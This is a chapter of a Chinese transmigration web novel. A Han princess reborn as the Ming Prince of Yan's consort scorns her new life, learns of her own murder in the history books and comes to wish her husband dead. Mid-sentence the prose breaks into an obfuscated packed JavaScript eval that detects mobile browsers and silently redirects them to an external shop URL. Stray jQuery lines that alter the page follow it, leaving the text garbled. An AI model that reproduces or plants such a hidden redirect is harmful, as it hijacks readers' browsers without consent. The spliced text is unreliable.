晨光透进窗棂，将室内素麻的沉闷映照得愈发清晰。
刘贤得坐在镜前，看着里面那张属于徐妙仪的、已有细纹的脸。
昨夜冻僵的骨头缝里还渗着寒意，更深的是无处可逃的倦怠。
两个女儿，安成与咸宁，由冯嬷嬷领着，怯生生地立在门口。
两人已换上了更素净的麻衣，脸上洗净了脂粉，眼睑红肿，像受惊的小兔。
“娘亲，”安成的声音细若蚊蚋，“该去前厅了……灵前需人守着的。”
刘贤得没回头，只从镜中淡淡瞥了她们一眼。
孩子……还是两个半大的孩子。
她前世，何曾想过自己会有孩子？更别提还要为她们操心。
“本宫……我身子不适。”她生硬地开口，用着徐妙仪的壳子，吐出的却是自己的疏离，“灵前有你们，足够了。莫要来烦我。”
冯嬷嬷欲言又止，最终还是低声劝道：“王妃，今日布政使葛诚大人会亲临王府督查哭丧仪程。按《大明律》及礼部规制，国丧期间，亲王妃须每日率内眷于灵前举哀，晨昏定省，若有怠慢，轻则申饬罚俸，重则……恐伤及王府清誉，乃至殿下声名。”
葛诚？律法？清誉？
刘贤得心下嗤笑。
她连这朝代都是昨日方知，哪耐烦管这些琐碎规矩。
“知道了。”她不耐烦地挥挥手，“下去吧。我想静静。”
冯嬷嬷无奈，只得带着两个神色惶惑的郡主退下。
门被轻轻掩上。
刘贤得起身，并不去什么前厅，反而走向内室一侧的壁橱。
她记得昨夜混乱中，似乎瞥见这里面有些东西。
拉开橱门，里面叠放着一些衣物，颜色多是沉暗的青、褐、灰，料子尚可，款式却保守得毫无意趣。
旁边有几个大小不一的匣子。
她一一打开。
簪环钗珥，多是金银或点翠，样式简洁，甚至有些笨拙。
玉饰品质尚可，但雕工远远比不上她记忆中汉宫珍宝的灵动华美。
有一匣子珍珠，个头不小，却浑圆得呆板，不如她旧日那串来自南海的异形珠耀目生辉。
“乏善可陈。”她低声评价，指尖拂过一支云头银簪，想起椒房殿里那支兄长所赐、嵌着瑟瑟宝石的赤金步摇。
心头又是一阵烦恶。
她合上匣子，目光落在屋内书案上。
那里堆着不少书册。她踱过去，随手抽出一本，是《资治通鉴》。再翻，有《女诫》、《列女传》，还有几本佛经。
尽是些无趣之物。
正待抛开，却瞥见案角压着一本薄册，纸张较新。
她抽出，封皮无字。翻开，里面竟是手抄的史书片段，墨迹深浅不一，似乎是徐妙仪平日里阅读所录。
目光漫不经心地扫过，忽然定住。
“……汉安帝永宁二年，阴城公主刘贤得，骄淫无道，与嬖人居帷中，而召其婿班始入，使伏床下。始积忿，永建五年，遂拔刀杀主。帝大怒，腰斩始，弃于市。”
短短数行，字字如冰锥，刺入她眼中。
骄淫无道……伏床下……拔刀杀主……
班始？
那个总是低眉顺眼、在她面前连大气都不敢喘的驸马？他敢杀她？
腰斩……弃于市……
心上倏地冰凉。
她仿佛又感受到背后那冰冷利刃刺入的剧痛，眼前晃过班始最后那张交织着恐惧与疯狂的脸。
原来……那不是一场意外的背叛，是她早已注定的结局？死得如此不堪……
一股寒意从脚底窜起，比昨夜的风更刺骨。
她颓然坐倒在旁边的圈椅上，那本薄册从手中滑落，摊开在地。
镜中，徐妙仪的脸苍白如纸。
许久，她缓缓吐出一口浊气。
汉宫是回不去了。即便能回去，等待她的，也是那般丑陋的死亡。
而这里……虽然处处不如意，虽然这身份、这年纪、这周遭一切都让她嫌弃，但至少，她还活着。是大明亲王的王妃，有子女，有仆从，锦衣玉食……哪怕这“玉食”在她看来也粗陋不堪。
她闭了闭眼。
再睁开时，镜中人眼底那抹属于刘贤得的癫狂戾气，似乎被强行压下，覆上一层冰冷的、审视现实的漠然。
那就……暂且如此吧。
然而，安顿下来的念头，并未让周遭变得顺眼。相反，她以昔日阴城公主挑剔到极致的眼光，重新打量这燕王府的一切，只觉得处处窒碍。
侍女进来奉茶。
动作倒是规矩，但捧杯的姿势不够优雅，行走时裙裾摩擦的窸窣声也嫌粗重。
茶汤颜色浑浊，入口涩味重，香气淡薄，远不及她旧日喝的阳羡贡茶清芬沁人。
“换。”她只吐出一个字。
侍女惶恐退下。再奉上的，仍不合意。她懒得再说，挥挥手让人都退下。
午膳摆上来，虽是素食，却也尽力做得精致。
可那素火腿的豆腥气，那仿荤菜过于刻意雕琢的形态，那清汤寡水的滋味……刘贤得只动了几筷，便搁下了。
想起汉宫炙烤的鹿肉，想起西域进贡的葡萄美酒，喉头一阵发紧，却是厌弃多于怀念。
连身边这些仆从，在她看来也透着股蠢笨。
冯嬷嬷谨小慎微，话里话外离不开规矩体统，听得人胸闷。
王忠那内官，说话尖细，眼神闪烁，不够大气。
底下的小丫鬟们，更是战战兢兢，问句话都要反应半晌，毫无灵动机敏。
她独自待在屋里，看着窗外庭院中那几株在寒风里瑟缩的、光秃秃的树木，心想，这燕王府，怕是连她昔日公主府的一角园林都比不上。
那时的奇花异草，曲水流觞，随时可唤来的乐舞百戏……
种种比较，种种嫌弃，像无数细小的毛刺，扎在她刚刚勉强安顿下来的心神上。
这大明，这燕王府，这徐妙仪的人生，就像一件尺寸不合、针脚粗糙、颜色晦暗的衣裳，强行套在了她习惯了锦绣繁华的灵魂上。
她走到窗边，远处，隐约传来前厅方向女眷们依礼制发出的、压抑而持续的哭泣声，那是为那位她毫无感觉的“大行皇帝”举哀。
而她，阴城公主刘贤得，如今的大明燕王妃徐氏，只是静静地站在这里，与那哭声，与这王府，与这个时代，隔着一层冰冷的、无法穿透的琉璃。
日子在她刻意的疏离与无声的挑剔中滑过。
前厅的哭声成了王府背景里沉闷的律动，她只当是远风呜咽。
直到这日午后，冯嬷嬷通报，永安郡主与仪宾袁容来了。
永安，是徐妙仪的长女，今年十九岁，与刘贤得同岁，已出嫁。
记忆的碎片告诉刘贤得，这个女儿素来沉静端庄，颇有“徐王妃”的风范。
她本不想见，但冯嬷嬷语气里带着一丝不同于往日的郑重。
片刻，一对年轻夫妇被引了进来。
男子袁容，相貌端正，举止有礼，是王府仪宾，身上带着武人之气。
女子便是永安，容颜与徐妙仪有几分相似，却更显年轻丰润，只是眉眼间锁着浓重的忧虑，身上虽也是素服，发间一支素银簪子却插得极稳，显出不乱方寸的刚硬。
“女儿/婿，给母亲请安。”两人行礼，声音里都透着疲惫。
刘贤得只略抬了抬眼，算是受了礼，依旧歪在榻上，手里漫无目的地拨弄着一串徐妙仪平日念诵的菩提子，颗颗圆润，在她看来却呆板无趣。
“何事？”她问得直接，连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153322|196463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敷衍的温言都省了。
永安与袁容对视一眼，似是斟酌言辞。
永安先开口，声音压得低，只容榻前几人听见：“母亲连日闭门不出，神情郁郁，女儿与袁郎甚是担忧。可是……挂心父王在京中的情形？”
燕王朱棣？那个与徐妙仪生育了四子四女的丈夫？
刘贤得对此毫无感觉，甚至有些厌烦被提醒这层关系。
她正想否认，永安接下来的话却让她拨动珠串的手指微微一顿。
“父王五月初一奉诏携三位兄长入京，至今音讯稍疏。外面流言纷纷，”
永安的声音更低，几乎成了气音，“有说陛下……大行皇帝在时，或欲立父王为储君，故召去面议。亦有……亦有妄人揣测，说是召入京城，恐有不测。”
她顿了顿，声音里带上一丝不易察觉的颤抖，“女儿听……听一些在外的老家人私下议论，说秦王、晋王两位叔父去得不明不白，怕……怕也是为了给东宫的太孙殿下扫清道路。如今父王突然被召，又带着三位兄弟，这……”
袁容脸色微变，立刻截住永安的话头，语气带着强自的镇定与安抚：“郡主！慎言！此等大逆不道之言，岂可妄加揣测！秦王、晋王皆是疾薨，朝廷早有明谕。先帝对父王信赖倚重，天下皆知。太孙殿下仁孝，岂会行此不悌之事？父王此去，定是陛下……大行皇帝有要事相商，或是边关军务，或是……或是宗室典仪。”
他嘴上否认，眼神却飞快地扫了一眼榻上沉默的“岳母”，那急切撇清的模样，反而更像坐实了某种恐怖的猜想。
刘贤得却已抓住了关键。
给太孙铺路？杀儿子？她那双看惯了汉宫最隐秘污浊的眼睛，瞬间洞悉了这层比单纯父子相残更冰冷的逻辑。
为了将权力毫无波澜地移交到指定的孙辈手中，提前铲除可能构成威胁的、手握重兵的成年儿子们？
这明朝的宫闱，这朱家的天下，竟比她想象得还要酷烈决绝！
一股寒意夹杂着难以言喻的兴奋掠过脊背。
如此赤裸的权势倾轧，倒颇有几分她熟悉的味道，只是规模与狠辣，似乎更上层楼。
她没理会袁容苍白的辩解，直接问出自己最关心的问题：“秦王、晋王死后，他们的王妃如何了？”
袁容似乎松了口气，觉得岳母的关注点总算回到了“正常”的轨道，忙答道：“回母亲，两位王妃皆安好。秦王妃仍在王府荣养，朝廷俸禄供养未曾短缺。晋王妃亦是一样，深居简出，抚养遗孤，颇受礼遇。”
王妃安好？荣养？朝廷供养？
也就是说，丈夫死了，妻子不仅能活，还能保有尊荣和相当程度的安稳，甚至不用再伺候男人、管理内宅、生育子嗣？
比起她记忆里汉时动辄被牵连、没入掖庭或被迫殉葬的贵妇命运，这简直堪称……善终？
一个念头，冰冷而清晰，带着毒液般的诱惑力，猛地攫住了她。
如果……燕王朱棣也像他那两个兄弟一样，“薨”在京城呢？
那么，她，徐妙仪，现任燕王妃，便能顺理成章地成为“前燕王妃”，在朝廷的供养下“荣养”。
不必再面对这个全然陌生的丈夫，不必履行王妃那些令人窒息的职责，不必对着几个半大孩子强扮慈母，更不必困在这座哪哪都看不顺眼的王府里，对着粗陋的衣食和蠢笨的仆从生闷气。
至于那个什么太孙登基后会不会继续清理？
那是后话。
至少眼下，一个无夫、有子（或许还能打发得远些）、有朝廷供养的寡居王妃，似乎比现任燕王妃……更合她心意。
希望他死。
这个念头一旦滋生，便如野火燎原，瞬间烧尽了那点残存的、对未知命运的彷徨。
她甚至感到一阵奇异的轻松。